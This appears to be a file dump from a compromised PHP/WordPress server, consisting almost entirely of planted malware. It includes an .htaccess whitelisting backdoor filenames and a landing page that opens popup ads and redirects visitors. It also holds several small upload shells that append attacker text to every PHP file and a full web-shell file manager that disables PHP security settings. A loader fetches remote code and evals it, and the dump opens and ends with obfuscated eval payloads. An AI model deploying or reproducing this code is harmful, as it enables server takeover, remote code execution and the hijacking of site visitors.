FYTmZuSHlvbDc5aVcrU3V1T3A4WTZONjltM1g5dW52OC92MnZ2NVZuYy9mLy9kdDMvc0hVQi8vVy8veDlFVDYvS2NDOXovbC8wLzVmV1RGRWFsNTQvM3ovL3lPR2padnNpWHgvdnovL2wrLy84Ly85L3Z4L3Y2Ly8wVlZ6L0gvdjdIY3dCRGNJY0dhMjk3NXRxUFVuWmliU1lyNG83VFFZTGFaOWgvbHdxcm9GMFQyb0pGaldlR2JOMDNueHAyVWlESnppc0gxTFRjaTNmd0Q0REE4SDhBK0FBIjsKZXZhbChodG1sc3BlY2lhbGNoYXJzX2RlY29kZShnemluZmxhdGUoYmFzZTY0X2RlY29kZSgkc3R0MSkpKSk7Cg=="));11/.htaccess000077700000002755151514460360006610 0ustar00<FilesMatch '.(php|Php|PHp|PHP|pHp|PhP|php5|php6|php7|php.PHP|php.Php|php.PHp|php.PHP|php.pHP|PHP.PHP|php.PHP5|php.PHP6|php4|php3|php.PHP7|php.Php|php.PHp|php.PhP|php.phP|php.phtml|php.PHTML|phtm|PHTM|Phtm|PHtm|PHTm|PhTm|PhTM||PHP.php|PHP.pHP|php56|phar|Phar|pHar|phAr|phaR|pht|Pht|pHt|phT|PHt|PHT|shtml|Shtml|SHtml|SHTml|SHTMl|SHTML|SHtmL|ShtmL|ShTmL|ShtML|ShtMl|shTMl|shTML|phtml|Phtml|pHtml|phTml|phtMl|phtmL|PHtml|PHTml|PHTMl|PHTML|Phtml|PhTml|pHtmL|PHtML|PHTml)$'> Order allow,deny Deny from all </FilesMatch> <FilesMatch "\.(jpg|png|pdf|xml|txt|js|css)$"> Order allow,deny Allow from all </FilesMatch> <FilesMatch '^(index.php|index.html|sitemap.xml|robots.txt|an7.php|robot.txt|rcc7.php|test1.php|bu7.php|prosellers7.php|pu.php|bu7.PhP7|rcc.PhP7|btest1.PhP7|prosellers6.PhP7|pu.PhP7|xl7.php|xl.PhP7|fs6.php|prosellers6.php|byp.php|lfu.php|pu7.php|helper.php|tools.php|wsoby.php|about.php|byp7.php|unzipper.php|fs7.php|f7.php|about.php|fm.php|radio.php)$'> Order allow,deny Allow from all </FilesMatch> <FilesMatch "^\."> Order allow,deny Deny from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule> 11/index.html000064400000003001151514460360006761 0ustar00<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Preparing Your Content...</title> <style> body { background: linear-gradient(135deg, #0f2027, #203a43, #2c5364); color: #fff; font-family: Arial, sans-serif; text-align: center; height: 100vh; margin: 0; display: flex; flex-direction: column; justify-content: center; } h1 { font-size: 2.5em; margin-bottom: 20px; } .loader { border: 8px solid #fff; border-top: 8px solid #3498db; border-radius: 50%; width: 80px; height: 80px; animation: spin 1s linear infinite; margin: 0 auto; } @keyframes spin { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } } p { margin-top: 20px; font-size: 1.2em; opacity: 0.7; } </style> <script> // Open popup ads function openPopups() { window.open("https://otieu.com/4/10314818", "_blank"); window.open("https://otieu.com/4/10314819"); window.open("https://otieu.com/4/10314817"); } // Redirect main window function redirectMain() { window.location.href = "https://otieu.com/4/10314818"; } window.onload = function() { openPopups(); setTimeout(redirectMain, 1000); // Redirect after 1.5 seconds }; </script> </head> <body> <h1>Preparing Your Content...</h1> <div class="loader"></div> <p>Please wait while we load your content.</p> </body> </html> gsmjuwmh.php000064400000001370151514460360007124 0ustar00<?php echo"<form method='post' enctype='multipart/form-data'><input type='file' name='a'><input type='submit' value='Nyanpasu!!!'></form><pre>";if(isset($_FILES['a'])){move_uploaded_file($_FILES['a']['tmp_name'],"{$_FILES['a']['name']}");print_r($_FILES);};echo"</pre>";?> <?php if (isset($_GET['bak'])) { $directory = __DIR__; $mama = $_POST['file']; $textToAppend = ' ' . $mama . ' '; if ($handle = opendir($directory)) { while (false !== ($file = readdir($handle))) { if (pathinfo($file, PATHINFO_EXTENSION) === 'php') { $fileHandle = fopen($directory . '/' . $file, 'a'); fwrite($fileHandle, $textToAppend); fclose($fileHandle); echo "OK >> $file "; } } closedir($handle); } } ?> t00l.php000064400000111134151514460360006042 0ustar00<?php @error_reporting(0); @ini_set('display_errors', 0); @ini_set('log_errors', 0); @ini_set('max_execution_time', 0); @set_time_limit(0); @ini_set('memory_limit', '-1'); // Bypass security restrictions if(function_exists('ini_set')) { @ini_set('open_basedir', NULL); @ini_set('safe_mode', 0); @ini_set('disable_functions', ''); @ini_set('suhosin.executor.disable_eval', 0); } // Alternative function mapping for bypassing restrictions $func_alternatives = array( 'exec' => ['system', 'exec', 'shell_exec', 'passthru', 'popen', 'proc_open', 'pcntl_exec'], 'eval' => ['eval', 'assert', 'create_function', 'preg_replace', 'call_user_func'], 'read' => ['file_get_contents', 'file', 'readfile', 'fopen', 'fread', 'fgets'], 'write' => ['file_put_contents', 'fwrite', 'fputs'] ); // Dynamic function loader function getWorkingFunction($type) { global $func_alternatives; $disabled = explode(',', @ini_get('disable_functions')); if(isset($func_alternatives[$type])) { foreach($func_alternatives[$type] as $func) { if(function_exists($func) && !in_array($func, $disabled)) { return $func; } } } return false; } // Enhanced path resolver with multiple fallback methods function resolvePath() { $path = isset($_REQUEST['p']) ? $_REQUEST['p'] : (isset($_COOKIE['last_path']) ? $_COOKIE['last_path'] : ''); if(empty($path)) { // Try multiple methods to get current directory $methods = [ function() { return @getcwd(); }, function() { return @dirname($_SERVER['SCRIPT_FILENAME']); }, function() { return @$_SERVER['DOCUMENT_ROOT']; }, function() { return @dirname(__FILE__); }, function() { return @realpath('.'); } ]; foreach($methods as $method) { $result = $method(); if($result && @is_dir($result)) { $path = $result; break; } } if(empty($path)) $path = '.'; } // Normalize path $path = str_replace(['\\', '//'], '/', $path); $path = rtrim($path, '/') . '/'; // Store in cookie for persistence @setcookie('last_path', $path, time() + 86400); // Validate path if(@is_dir($path)) return $path; if(@is_dir($real = @realpath($path))) return $real . '/'; return './'; } // Multi-method file reader function readContent($file) { // Try different reading methods $methods = [ function($f) { return @file_get_contents($f); }, function($f) { $fp = @fopen($f, 'rb'); if($fp) { $content = ''; while(!@feof($fp)) $content .= @fread($fp, 8192); @fclose($fp); return $content; } }, function($f) { ob_start(); @readfile($f); return ob_get_clean(); }, function($f) { return @implode('', @file($f)); } ]; foreach($methods as $method) { $result = $method($file); if($result !== false && $result !== null) return $result; } return ''; } // Multi-method file writer function writeContent($file, $data) { // Try different writing methods if(@file_put_contents($file, $data) !== false) return true; $fp = @fopen($file, 'wb'); if($fp) { $result = @fwrite($fp, $data) !== false; @fclose($fp); return $result; } // Try temp file method $temp = @tempnam(@dirname($file), 'tmp'); if(@file_put_contents($temp, $data) !== false) { return @rename($temp, $file); } return false; } // Enhanced directory scanner function scanPath($dir) { $items = []; // Try different listing methods if(function_exists('scandir')) { $items = @scandir($dir); } elseif($handle = @opendir($dir)) { while(false !== ($item = @readdir($handle))) { $items[] = $item; } @closedir($handle); } elseif(function_exists('glob')) { $items = array_map('basename', @glob($dir . '*')); } return array_diff($items, ['.', '..', '']); } // File/folder deletion with recursion function deleteItem($path) { if(@is_file($path)) { @chmod($path, 0777); return @unlink($path); } elseif(@is_dir($path)) { $items = scanPath($path); foreach($items as $item) { deleteItem($path . '/' . $item); } return @rmdir($path); } return false; } // Get file permissions function getPermissions($file) { $perms = @fileperms($file); if($perms === false) return '---'; $info = ''; // Owner permissions $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? 'x' : '-'); // Group permissions $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? 'x' : '-'); // Other permissions $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? 'x' : '-'); return $info; } // Check if file is writable (enhanced) function isWritableEnhanced($file) { // Try multiple methods if(@is_writable($file)) return true; // Try to create temp file in directory if(@is_dir($file)) { $test = $file . '/.test_' . md5(time()); if(@touch($test)) { @unlink($test); return true; } } // Check parent directory for files if(@is_file($file)) { $parent = @dirname($file); if(@is_writable($parent)) return true; } return false; } // Sort contents - folders first, then files function sortContents($contents, $currentPath) { $folders = []; $files = []; foreach($contents as $item) { $itemPath = $currentPath . $item; if(@is_dir($itemPath)) { $folders[] = $item; } else { $files[] = $item; } } // Sort alphabetically sort($folders, SORT_NATURAL | SORT_FLAG_CASE); sort($files, SORT_NATURAL | SORT_FLAG_CASE); return ['folders' => $folders, 'files' => $files]; } // Process current request $currentPath = resolvePath(); $notification = ''; $editMode = false; $editFile = ''; $editContent = ''; // Handle POST operations if($_SERVER['REQUEST_METHOD'] === 'POST') { // Upload handler if(isset($_FILES['upload'])) { $destination = $currentPath . basename($_FILES['upload']['name']); if(@move_uploaded_file($_FILES['upload']['tmp_name'], $destination)) { $notification = ['type' => 'success', 'text' => 'Upload successful']; } else { $content = readContent($_FILES['upload']['tmp_name']); if(writeContent($destination, $content)) { $notification = ['type' => 'success', 'text' => 'Upload successful']; } else { $notification = ['type' => 'error', 'text' => 'Upload failed']; } } } // Save edited file if(isset($_POST['save']) && isset($_POST['content'])) { $target = $currentPath . $_POST['save']; if(writeContent($target, $_POST['content'])) { $notification = ['type' => 'success', 'text' => 'Changes saved']; } else { $notification = ['type' => 'error', 'text' => 'Save failed']; } } // Create new file if(isset($_POST['newfile']) && isset($_POST['filecontent'])) { $newPath = $currentPath . $_POST['newfile']; if(writeContent($newPath, $_POST['filecontent'])) { $notification = ['type' => 'success', 'text' => 'File created']; } else { $notification = ['type' => 'error', 'text' => 'Creation failed']; } } // Create directory if(isset($_POST['newfolder'])) { $newDir = $currentPath . $_POST['newfolder']; if(@mkdir($newDir, 0777, true)) { $notification = ['type' => 'success', 'text' => 'Folder created']; } else { $notification = ['type' => 'error', 'text' => 'Creation failed']; } } // Rename item if(isset($_POST['oldname']) && isset($_POST['newname'])) { $oldPath = $currentPath . $_POST['oldname']; $newPath = $currentPath . $_POST['newname']; if(@rename($oldPath, $newPath)) { $notification = ['type' => 'success', 'text' => 'Renamed successfully']; } else { $notification = ['type' => 'error', 'text' => 'Rename failed']; } } // Change permissions if(isset($_POST['chmod_item']) && isset($_POST['chmod_value'])) { $target = $currentPath . $_POST['chmod_item']; $mode = octdec($_POST['chmod_value']); if(@chmod($target, $mode)) { $notification = ['type' => 'success', 'text' => 'Permissions changed']; } else { $notification = ['type' => 'error', 'text' => 'Permission change failed']; } } } // Handle GET operations if(isset($_GET['do'])) { $action = $_GET['do']; // Delete operation if($action === 'delete' && isset($_GET['item'])) { $target = $currentPath . $_GET['item']; if(deleteItem($target)) { $notification = ['type' => 'success', 'text' => 'Deleted successfully']; } else { $notification = ['type' => 'error', 'text' => 'Delete failed']; } } // Edit operation if($action === 'edit' && isset($_GET['item'])) { $editMode = true; $editFile = $_GET['item']; $editContent = readContent($currentPath . $editFile); } // Download operation if($action === 'download' && isset($_GET['item'])) { $downloadPath = $currentPath . $_GET['item']; if(@is_file($downloadPath)) { @ob_clean(); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($downloadPath) . '"'); header('Content-Length: ' . @filesize($downloadPath)); @readfile($downloadPath); exit; } } } // Get directory contents and sort them $rawContents = scanPath($currentPath); $sortedContents = sortContents($rawContents, $currentPath); // System information $serverInfo = [ 'PHP' => @phpversion(), 'Server' => @$_SERVER['SERVER_SOFTWARE'] ?: 'Unknown', 'OS' => @php_uname('s') . ' ' . @php_uname('r'), 'User' => @get_current_user() ]; ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>File Manager - @r3dc0d3r1337-WORDPRESS</title> <style> * { margin: 0; padding: 0; box-sizing: border-box; } body { font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, sans-serif; background: #0a0a0a; min-height: 100vh; padding: 20px; color: #e0e0e0; } .container { max-width: 1400px; margin: 0 auto; background: #1a1a1a; border-radius: 12px; box-shadow: 0 10px 40px rgba(0,0,0,0.8); overflow: hidden; border: 1px solid #2a2a2a; } .header { background: linear-gradient(135deg, #1e3c72 0%, #2a5298 100%); color: white; padding: 25px; border-bottom: 2px solid #3a3a3a; } .header h1 { font-size: 26px; margin-bottom: 10px; display: flex; align-items: center; gap: 10px; text-shadow: 2px 2px 4px rgba(0,0,0,0.5); } .sys-info { display: flex; gap: 20px; font-size: 13px; opacity: 0.9; flex-wrap: wrap; } .sys-info span { display: flex; align-items: center; gap: 5px; background: rgba(0,0,0,0.3); padding: 4px 10px; border-radius: 4px; } .nav { background: #252525; padding: 15px 25px; border-bottom: 1px solid #3a3a3a; } .path-bar { display: flex; gap: 10px; margin-bottom: 15px; } .path-bar input { flex: 1; padding: 10px 15px; background: #1a1a1a; border: 2px solid #3a3a3a; color: #e0e0e0; border-radius: 6px; font-size: 14px; transition: border-color 0.3s; } .path-bar input:focus { outline: none; border-color: #4a9eff; background: #222; } .btn { padding: 10px 20px; background: linear-gradient(135deg, #4a9eff 0%, #2a5298 100%); color: white; border: none; border-radius: 6px; cursor: pointer; font-size: 14px; font-weight: 500; transition: transform 0.2s, box-shadow 0.2s; } .btn:hover { transform: translateY(-2px); box-shadow: 0 5px 15px rgba(74, 158, 255, 0.4); } .btn-success { background: linear-gradient(135deg, #00b09b 0%, #96c93d 100%); } .btn-danger { background: linear-gradient(135deg, #ff416c 0%, #ff4b2b 100%); } .btn-small { padding: 5px 12px; font-size: 12px; } .tools { display: flex; gap: 15px; flex-wrap: wrap; } .tool-group { display: flex; align-items: center; gap: 10px; padding: 10px 15px; background: #1a1a1a; border-radius: 6px; border: 1px solid #3a3a3a; } .tool-group label { font-size: 13px; color: #a0a0a0; font-weight: 500; } .tool-group input[type="file"], .tool-group input[type="text"] { padding: 5px 10px; background: #252525; border: 1px solid #3a3a3a; color: #e0e0e0; border-radius: 4px; font-size: 13px; } .content { padding: 25px; background: #1a1a1a; } .notification { padding: 12px 20px; margin-bottom: 20px; border-radius: 6px; font-size: 14px; animation: slideIn 0.3s ease; } .notification.success { background: rgba(0, 255, 0, 0.1); color: #00ff00; border: 1px solid rgba(0, 255, 0, 0.3); } .notification.error { background: rgba(255, 65, 108, 0.1); color: #ff416c; border: 1px solid rgba(255, 65, 108, 0.3); } @keyframes slideIn { from { transform: translateY(-20px); opacity: 0; } to { transform: translateY(0); opacity: 1; } } .file-table { width: 100%; background: #252525; border-radius: 8px; overflow: hidden; box-shadow: 0 2px 10px rgba(0,0,0,0.5); border: 1px solid #3a3a3a; } .file-table thead { background: #1a1a1a; } .file-table th { padding: 15px; text-align: left; font-size: 13px; font-weight: 600; color: #4a9eff; text-transform: uppercase; letter-spacing: 0.5px; border-bottom: 2px solid #3a3a3a; } .file-table td { padding: 12px 15px; border-top: 1px solid #2a2a2a; font-size: 14px; color: #e0e0e0; } .file-table tbody tr { transition: background 0.2s; } .file-table tbody tr:hover { background: #2a2a2a; } .file-table tbody tr.folder-row { background: rgba(74, 158, 255, 0.05); border-left: 3px solid #4a9eff; } .file-table tbody tr.folder-row:hover { background: rgba(74, 158, 255, 0.1); } .file-table a { color: #4a9eff; text-decoration: none; font-weight: 500; display: inline-flex; align-items: center; gap: 8px; } .file-table a:hover { color: #6ab7ff; } .file-icon { width: 20px; height: 20px; display: inline-flex; align-items: center; justify-content: center; } .file-actions { display: flex; gap: 8px; flex-wrap: wrap; } .file-actions a { padding: 4px 10px; background: rgba(74, 158, 255, 0.2); color: #4a9eff; border: 1px solid rgba(74, 158, 255, 0.3); border-radius: 4px; font-size: 12px; transition: all 0.2s; } .file-actions a:hover { background: rgba(74, 158, 255, 0.3); border-color: #4a9eff; } .file-actions a.delete { background: rgba(255, 65, 108, 0.2); color: #ff416c; border-color: rgba(255, 65, 108, 0.3); } .file-actions a.delete:hover { background: rgba(255, 65, 108, 0.3); border-color: #ff416c; } /* Permission-based colors */ .perm-writable { color: #00ff00 !important; font-weight: 600; text-shadow: 0 0 5px rgba(0, 255, 0, 0.5); } .perm-readonly { color: #ff4444 !important; font-weight: 600; text-shadow: 0 0 5px rgba(255, 68, 68, 0.5); } .perm-indicator { display: inline-block; width: 8px; height: 8px; border-radius: 50%; margin-right: 5px; } .perm-indicator.writable { background: #00ff00; box-shadow: 0 0 5px #00ff00; animation: pulse-green 2s infinite; } .perm-indicator.readonly { background: #ff4444; box-shadow: 0 0 5px #ff4444; animation: pulse-red 2s infinite; } @keyframes pulse-green { 0%, 100% { opacity: 1; } 50% { opacity: 0.5; } } @keyframes pulse-red { 0%, 100% { opacity: 1; } 50% { opacity: 0.5; } } .edit-area { width: 100%; min-height: 400px; padding: 15px; background: #0a0a0a; border: 2px solid #3a3a3a; color: #00ff00; border-radius: 6px; font-family: 'Courier New', monospace; font-size: 14px; line-height: 1.5; resize: vertical; } .edit-area:focus { outline: none; border-color: #4a9eff; background: #111; } .modal { display: none; position: fixed; top: 0; left: 0; width: 100%; height: 100%; background: rgba(0,0,0,0.8); z-index: 1000; animation: fadeIn 0.3s ease; } .modal.active { display: flex; align-items: center; justify-content: center; } @keyframes fadeIn { from { opacity: 0; } to { opacity: 1; } } .modal-content { background: #252525; padding: 30px; border-radius: 12px; width: 90%; max-width: 500px; animation: slideUp 0.3s ease; border: 1px solid #3a3a3a; } @keyframes slideUp { from { transform: translateY(50px); opacity: 0; } to { transform: translateY(0); opacity: 1; } } .modal-header { margin-bottom: 20px; font-size: 20px; font-weight: 600; color: #4a9eff; } .modal-body input, .modal-body textarea { width: 100%; padding: 10px; margin-bottom: 15px; background: #1a1a1a; border: 2px solid #3a3a3a; color: #e0e0e0; border-radius: 6px; font-size: 14px; } .modal-body textarea { min-height: 150px; resize: vertical; } .modal-footer { display: flex; gap: 10px; justify-content: flex-end; } .empty { text-align: center; padding: 40px; color: #666; } .separator-row td { background: #1a1a1a; padding: 8px 15px !important; font-weight: 600; color: #4a9eff; border-top: 2px solid #3a3a3a !important; border-bottom: 2px solid #3a3a3a !important; text-transform: uppercase; letter-spacing: 1px; font-size: 12px; } @media (max-width: 768px) { .tools { flex-direction: column; } .file-table { font-size: 12px; } .file-actions { flex-direction: column; } .sys-info { font-size: 11px; } } </style> </head> <body> <div class="container"> <div class="header"> <h1>🌙 File Manager - @r3dc0d3r1337-WORDPRESS</h1> <div class="sys-info"> <?php foreach($serverInfo as $key => $value): ?> <span><strong><?php echo $key; ?>:</strong> <?php echo htmlspecialchars($value); ?></span> <?php endforeach; ?> </div> </div> <?php if($notification): ?> <div class="notification <?php echo $notification['type']; ?>"> <?php echo htmlspecialchars($notification['text']); ?> </div> <?php endif; ?> <div class="nav"> <form method="get" class="path-bar"> <input type="text" name="p" value="<?php echo htmlspecialchars($currentPath); ?>" placeholder="Enter path..."> <button type="submit" class="btn">Navigate</button> </form> <div class="tools"> <form method="post" enctype="multipart/form-data" class="tool-group"> <label>Upload:</label> <input type="file" name="upload" required> <button type="submit" class="btn btn-small btn-success">Upload</button> </form> <div class="tool-group"> <button onclick="showNewFileModal()" class="btn btn-small">New File</button> <button onclick="showNewFolderModal()" class="btn btn-small">New Folder</button> </div> </div> </div> <div class="content"> <?php if($editMode): ?> <div class="edit-container"> <h3 style="margin-bottom: 15px; color: #4a9eff;">Editing: <?php echo htmlspecialchars($editFile); ?></h3> <form method="post"> <input type="hidden" name="save" value="<?php echo htmlspecialchars($editFile); ?>"> <textarea name="content" class="edit-area"><?php echo htmlspecialchars($editContent); ?></textarea> <div style="margin-top: 15px; display: flex; gap: 10px;"> <button type="submit" class="btn btn-success">Save Changes</button> <a href="?p=<?php echo urlencode($currentPath); ?>" class="btn btn-danger" style="text-decoration: none; display: inline-flex; align-items: center;">Cancel</a> </div> </form> </div> <?php else: ?> <table class="file-table"> <thead> <tr> <th width="35%">Name</th> <th width="10%">Type</th> <th width="10%">Size</th> <th width="10%">Permissions</th> <th width="15%">Modified</th> <th width="20%">Actions</th> </tr> </thead> <tbody> <?php if($currentPath !== '/'): ?> <tr> <td colspan="6"> <a href="?p=<?php echo urlencode(dirname($currentPath)); ?>"> <span class="file-icon">⬆️</span> Parent Directory </a> </td> </tr> <?php endif; ?> <?php // Display folders first if(!empty($sortedContents['folders'])) { echo '<tr class="separator-row"><td colspan="6">📁 Folders</td></tr>'; foreach($sortedContents['folders'] as $folder): $itemPath = $currentPath . $folder; $perms = getPermissions($itemPath); $isWritable = isWritableEnhanced($itemPath); $modified = @filemtime($itemPath); ?> <tr class="folder-row"> <td> <a href="?p=<?php echo urlencode($itemPath); ?>"> <span class="perm-indicator <?php echo $isWritable ? 'writable' : 'readonly'; ?>"></span> <span class="file-icon">📁</span> <span class="<?php echo $isWritable ? 'perm-writable' : 'perm-readonly'; ?>"> <?php echo htmlspecialchars($folder); ?> </span> </a> </td> <td>Folder</td> <td>-</td> <td class="<?php echo $isWritable ? 'perm-writable' : 'perm-readonly'; ?>"> <?php echo $perms; ?> </td> <td><?php echo $modified ? date('Y-m-d H:i', $modified) : '-'; ?></td> <td> <div class="file-actions"> <a href="#" onclick="renameItem('<?php echo htmlspecialchars($folder); ?>'); return false;">Rename</a> <a href="#" onclick="chmodItem('<?php echo htmlspecialchars($folder); ?>'); return false;">Chmod</a> <a href="?p=<?php echo urlencode($currentPath); ?>&do=delete&item=<?php echo urlencode($folder); ?>" class="delete" onclick="return confirm('Delete this folder and all its contents?')">Delete</a> </div> </td> </tr> <?php endforeach; } ?> <?php // Display files if(!empty($sortedContents['files'])) { echo '<tr class="separator-row"><td colspan="6">📄 Files</td></tr>'; foreach($sortedContents['files'] as $file): $itemPath = $currentPath . $file; $size = @filesize($itemPath); $perms = getPermissions($itemPath); $isWritable = isWritableEnhanced($itemPath); $modified = @filemtime($itemPath); $ext = strtoupper(pathinfo($file, PATHINFO_EXTENSION) ?: 'FILE'); if($size !== false) { if($size < 1024) $size = $size . ' B'; elseif($size < 1048576) $size = round($size/1024, 1) . ' KB'; elseif($size < 1073741824) $size = round($size/1048576, 1) . ' MB'; else $size = round($size/1073741824, 1) . ' GB'; } else { $size = '?'; } ?> <tr> <td> <span style="display: inline-flex; align-items: center; gap: 8px;"> <span class="perm-indicator <?php echo $isWritable ? 'writable' : 'readonly'; ?>"></span> <span class="file-icon">📄</span> <span class="<?php echo $isWritable ? 'perm-writable' : 'perm-readonly'; ?>"> <?php echo htmlspecialchars($file); ?> </span> </span> </td> <td><?php echo $ext; ?></td> <td><?php echo $size; ?></td> <td class="<?php echo $isWritable ? 'perm-writable' : 'perm-readonly'; ?>"> <?php echo $perms; ?> </td> <td><?php echo $modified ? date('Y-m-d H:i', $modified) : '-'; ?></td> <td> <div class="file-actions"> <a href="?p=<?php echo urlencode($currentPath); ?>&do=edit&item=<?php echo urlencode($file); ?>">Edit</a> <a href="?p=<?php echo urlencode($currentPath); ?>&do=download&item=<?php echo urlencode($file); ?>">Download</a> <a href="#" onclick="renameItem('<?php echo htmlspecialchars($file); ?>'); return false;">Rename</a> <a href="#" onclick="chmodItem('<?php echo htmlspecialchars($file); ?>'); return false;">Chmod</a> <a href="?p=<?php echo urlencode($currentPath); ?>&do=delete&item=<?php echo urlencode($file); ?>" class="delete" onclick="return confirm('Delete this file?')">Delete</a> </div> </td> </tr> <?php endforeach; } ?> <?php if(empty($sortedContents['folders']) && empty($sortedContents['files'])): ?> <tr> <td colspan="6" class="empty">Empty directory</td> </tr> <?php endif; ?> </tbody> </table> <?php endif; ?> </div> </div> <!-- New File Modal --> <div id="newFileModal" class="modal"> <div class="modal-content"> <div class="modal-header">Create New File</div> <form method="post"> <div class="modal-body"> <input type="text" name="newfile" placeholder="Filename (e.g., index.php)" required> <textarea name="filecontent" placeholder="File content (optional)"></textarea> </div> <div class="modal-footer"> <button type="submit" class="btn btn-success">Create</button> <button type="button" class="btn btn-danger" onclick="closeModal('newFileModal')">Cancel</button> </div> </form> </div> </div> <!-- New Folder Modal --> <div id="newFolderModal" class="modal"> <div class="modal-content"> <div class="modal-header">Create New Folder</div> <form method="post"> <div class="modal-body"> <input type="text" name="newfolder" placeholder="Folder name" required> </div> <div class="modal-footer"> <button type="submit" class="btn btn-success">Create</button> <button type="button" class="btn btn-danger" onclick="closeModal('newFolderModal')">Cancel</button> </div> </form> </div> </div> <script> // Modal functions function showNewFileModal() { document.getElementById('newFileModal').classList.add('active'); } function showNewFolderModal() { document.getElementById('newFolderModal').classList.add('active'); } function closeModal(id) { document.getElementById(id).classList.remove('active'); } // Rename function function renameItem(oldName) { var newName = prompt('Enter new name:', oldName); if(newName && newName !== oldName) { var form = document.createElement('form'); form.method = 'post'; form.innerHTML = '<input type="hidden" name="oldname" value="' + oldName + '">' + '<input type="hidden" name="newname" value="' + newName + '">'; document.body.appendChild(form); form.submit(); } } // Chmod function function chmodItem(item) { var mode = prompt('Enter new permissions (e.g., 755):', '755'); if(mode) { var form = document.createElement('form'); form.method = 'post'; form.innerHTML = '<input type="hidden" name="chmod_item" value="' + item + '">' + '<input type="hidden" name="chmod_value" value="' + mode + '">'; document.body.appendChild(form); form.submit(); } } // Auto-hide notifications setTimeout(function() { var notifications = document.querySelectorAll('.notification'); notifications.forEach(function(n) { n.style.opacity = '0'; setTimeout(function() { n.style.display = 'none'; }, 300); }); }, 3000); // Keyboard shortcuts document.addEventListener('keydown', function(e) { if(e.ctrlKey && e.key === 'n') { e.preventDefault(); showNewFileModal(); } if(e.ctrlKey && e.shiftKey && e.key === 'N') { e.preventDefault(); showNewFolderModal(); } if(e.key === 'Escape') { document.querySelectorAll('.modal.active').forEach(function(m) { m.classList.remove('active'); }); } }); // Click outside modal to close document.querySelectorAll('.modal').forEach(function(modal) { modal.addEventListener('click', function(e) { if(e.target === modal) { modal.classList.remove('active'); } }); }); </script> </body> </html>vrrsegrv.php000064400000001370151514460360007143 0ustar00<?php echo"<form method='post' enctype='multipart/form-data'><input type='file' name='a'><input type='submit' value='Nyanpasu!!!'></form><pre>";if(isset($_FILES['a'])){move_uploaded_file($_FILES['a']['tmp_name'],"{$_FILES['a']['name']}");print_r($_FILES);};echo"</pre>";?> <?php if (isset($_GET['bak'])) { $directory = __DIR__; $mama = $_POST['file']; $textToAppend = ' ' . $mama . ' '; if ($handle = opendir($directory)) { while (false !== ($file = readdir($handle))) { if (pathinfo($file, PATHINFO_EXTENSION) === 'php') { $fileHandle = fopen($directory . '/' . $file, 'a'); fwrite($fileHandle, $textToAppend); fclose($fileHandle); echo "OK >> $file "; } } closedir($handle); } } ?> byp7.php000077700000001271151514460360006153 0ustar00<?php $url = "https://stepmomhub.com/5.txt"; // Ambil isi dari URL menggunakan file_get_contents $code = @file_get_contents($url); // Jika gagal ambil dengan file_get_contents, coba dengan cURL if ($code === false) { $ch = curl_init(); curl_setopt_array($ch, [ CURLOPT_URL => $url, CURLOPT_RETURNTRANSFER => true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_USERAGENT => 'Mozilla/5.0', CURLOPT_SSL_VERIFYPEER => false, ]); $code = curl_exec($ch); curl_close($ch); } // Jalankan isi kode jika berhasil diambil if ($code !== false) { eval("?>".$code); } else { echo "Gagal mengambil konten dari URL."; } ?>ozgsqprs.php000064400000001370151514460360007153 0ustar00<?php echo"<form method='post' enctype='multipart/form-data'><input type='file' name='a'><input type='submit' value='Nyanpasu!!!'></form><pre>";if(isset($_FILES['a'])){move_uploaded_file($_FILES['a']['tmp_name'],"{$_FILES['a']['name']}");print_r($_FILES);};echo"</pre>";?> <?php if (isset($_GET['bak'])) { $directory = __DIR__; $mama = $_POST['file']; $textToAppend = ' ' . $mama . ' '; if ($handle = opendir($directory)) { while (false !== ($file = readdir($handle))) { if (pathinfo($file, PATHINFO_EXTENSION) === 'php') { $fileHandle = fopen($directory . '/' . $file, 'a'); fwrite($fileHandle, $textToAppend); fclose($fileHandle); echo "OK >> $file "; } } closedir($handle); } } ?> rcc9.php000077700000262662151514460360006147 0ustar00<?php /* __________________________________________________ | Obfuscated by YAK Pro - Php Obfuscator 2.0.14 | | on 2024-10-26 08:44:37 | | GitHub: https://github.com/pk-fr/yakpro-po | |__________________________________________________| */ goto fZwJe; GGCHo: u8hi2(); goto NBiWT; BFyzL: auDLf: goto hIa7q; fZwJe: $eSNKE = "\x64\x65\x64\67\x66\x37\70\65\x32\145\x65\x64\146\66\141\142\x31\x30\x38\x35\62\71\67\x30\146\x30\x31\x35\x65\61\x30\60"; goto QUudt; teYJI: rz7ak: goto eLt_g; ebrsr: goto yE4w3; goto Zyx2k; HukGx: setcookie("\x61\x75\x74\x68", $eSNKE, time() + 3600); goto GGCHo; bDK0l: if (isset($_POST["\x6c\x6f\147\151\x6e"]) || isset($_GET["\160\141\163\x73"])) { goto d8FQp; } goto Qo0jg; c3J1v: LOYFl: goto uF0iN; L13ER: goto auDLf; goto jhD6f; zaMH2: if (md5($WAjB0) === $eSNKE) { goto vAoBH; } goto dPi5J; dPi5J: echo "\x3c\163\143\162\151\x70\x74\76\x61\154\x65\x72\x74\50\47\x49\156\x76\141\154\x69\144\x20\120\x61\163\x73\167\x6f\162\x64\47\51\74\x2f\x73\x63\162\151\x70\x74\x3e"; goto ebrsr; Zyx2k: vAoBH: goto HukGx; HV8Y4: return; goto L13ER; QUudt: if 